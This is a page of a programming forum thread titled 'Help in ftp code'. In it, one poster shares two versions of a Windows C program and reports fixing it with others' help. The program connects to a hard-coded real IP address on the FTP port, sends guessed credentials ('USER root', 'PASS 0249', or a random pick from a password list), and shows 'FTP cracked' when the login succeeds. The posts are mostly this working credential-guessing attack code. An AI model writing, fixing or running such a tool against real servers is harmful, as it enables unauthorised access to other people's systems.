Help in ftp code

This is a discussion on Help in ftp code within the Networking/Device Communication forums, part of the General Programming Boards category; i dunno if this work or not but i dont think it did because i think recv only recives 1 ...

  1. #16
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    i dunno if this work or not but i dont think it did because i think recv only recives 1 line at time ?
    or it recives till size of the buff?
    Code:
    #include "inc.h"
    void validator(char *question,char *NOTE)
    {
    	MessageBox(NULL,question,NOTE,MB_OK);
    }
    void list_counter(int *listsize)
    {
    	*listsize=(sizeof (USERandPW) /sizeof ( char * ));
    }
    
    void ftp_connector()
    {
    	const char *Site="64.89.23.139";
    	char Okay[]="we are in now we preforming the function";
    	char note[]="IRC OKAY";
    	char badan[]="Function failed";
    	char buff[100];
    	WORD sockversion;//WORD is same as unsigned char 2 byes long
    	WSADATA wsadata;
    	SOCKET FTP_cnt;//we use this socket to pass in information
    	SOCKADDR_IN server_info;
    	int list_size;
    	char *pw;
    	char loged[]="User logged in";
    	sockversion=MAKEWORD(2,2);//we would like to use winsock ver 2.2
    	/*we BEGIN INTILIZING WINSOCK*/
    	WSAStartup(sockversion,&wsadata);
    	FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    	if(FTP_cnt==INVALID_SOCKET)
    	{
    		MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
    		exit(0);
    	}
    	// Use a SOCKADDR_IN struct to fill in address information
    	server_info.sin_family = AF_INET;
    	server_info.sin_addr.s_addr=inet_addr(Site);
    	server_info.sin_port=htons(21);
    	list_counter(&list_size);
    	pw=USERandPW[rand() % list_size];
    	if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
    	{	
    		send(FTP_cnt,pw,strlen(pw),0);
    		recv(FTP_cnt,buff,sizeof buff,0);
    		if(strcmp(buff,"230")==0)
    		{
    			MessageBox(NULL,pw,"FTP cracked",MB_OK);
    			closesocket(FTP_cnt);
    			WSACleanup();	
    		}
    			else
    			{
    				MessageBox(NULL,"pw wrong","Not in",MB_OK);
    				closesocket(FTP_cnt);
    				WSACleanup();
    			}
    
    		Sleep(Bigsleep);
    
    		MessageBox(NULL,"We are out","OUTING",MB_OK);
    
    		WSACleanup();
    	}
    	else
    	{
    		validator(badan,badan);
    		WSACleanup();
    	}
    }
    int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
    {
    	srand(GetTickCount());
    	ftp_connector();
    	WSACleanup();
    }

  2. #17
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    i fixed it thanks guys for help
    Code:
    #include "inc.h"
    void validator(char *question,char *NOTE)
    {
    	MessageBox(NULL,question,NOTE,MB_OK);
    }
    void list_counter(int *listsize)
    {
    	*listsize=(sizeof (USERandPW) /sizeof ( char * ));
    }
    
    void ftp_connector()
    {
    	const char *Site="64.89.23.139";
    	char Okay[]="we are in now we preforming the function";
    	char note[]="IRC OKAY";
    	char badan[]="Function failed";
    	char buff[300];
    	WORD sockversion;//WORD is same as unsigned char 2 byes long
    	WSADATA wsadata;
    	SOCKET FTP_cnt;//we use this socket to pass in information
    	SOCKADDR_IN server_info;
    	int list_size;
    	char *pw;
    	char loged[]="User logged in";
    	char *uer="USER root\r\n";
    	char *pwss="PASS 0249\r\n";
    	int x;
    	sockversion=MAKEWORD(2,2);//we would like to use winsock ver 2.2
    	/*we BEGIN INTILIZING WINSOCK*/
    	WSAStartup(sockversion,&wsadata);
    	FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    	if(FTP_cnt==INVALID_SOCKET)
    	{
    		MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
    		exit(0);
    	}
    	// Use a SOCKADDR_IN struct to fill in address information
    	server_info.sin_family = AF_INET;
    	server_info.sin_addr.s_addr=inet_addr(Site);
    	server_info.sin_port=htons(21);
    	list_counter(&list_size);
    	pw=USERandPW[rand() % list_size];
    	if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
    	{	
    		x=recv(FTP_cnt,buff,sizeof buff,0);
    		send(FTP_cnt,uer,strlen(uer),0);
    		x=recv(FTP_cnt,buff,sizeof buff,0);
    		send(FTP_cnt,pwss,strlen(pwss),0);
    		x=recv(FTP_cnt,buff,sizeof buff,0);
    		if(strstr (buff,"230"))
    		{
    			MessageBox(NULL,pw,"FTP cracked",MB_OK);
    			closesocket(FTP_cnt);
    			WSACleanup();	
    		}
    		else
    		{
    			MessageBox(NULL,"pw wrong","Not in",MB_OK);
    			closesocket(FTP_cnt);
    			WSACleanup();
    		}
    		
    		Sleep(Bigsleep);
    		
    		MessageBox(NULL,"We are out","OUTING",MB_OK);
    		
    		WSACleanup();
    	}
    	else
    	{
    		validator(badan,badan);
    		WSACleanup();
    	}
    }
    int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
    {
    	srand(GetTickCount());
    	ftp_connector();
    	WSACleanup();
    }

  3. #18
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    it didnt work though with strcmp i dunno why

Page 2 of 2 FirstFirst 12
Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Extended ASCII Characters in an RTF Control
    By JustMax in forum C Programming
    Replies: 18
    Last Post: 04-03-2009, 09:20 PM
  2. Enforcing Machine Code Restrictions?
    By SMurf in forum Tech Board
    Replies: 21
    Last Post: 03-30-2009, 08:34 AM
  3. Obfuscated Code Contest: The Results
    By Stack Overflow in forum Contests Board
    Replies: 29
    Last Post: 02-18-2005, 05:39 PM
  4. Obfuscated Code Contest
    By Stack Overflow in forum Contests Board
    Replies: 51
    Last Post: 01-21-2005, 04:17 PM
  5. Interface Question
    By smog890 in forum C Programming
    Replies: 11
    Last Post: 06-03-2002, 06:06 PM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21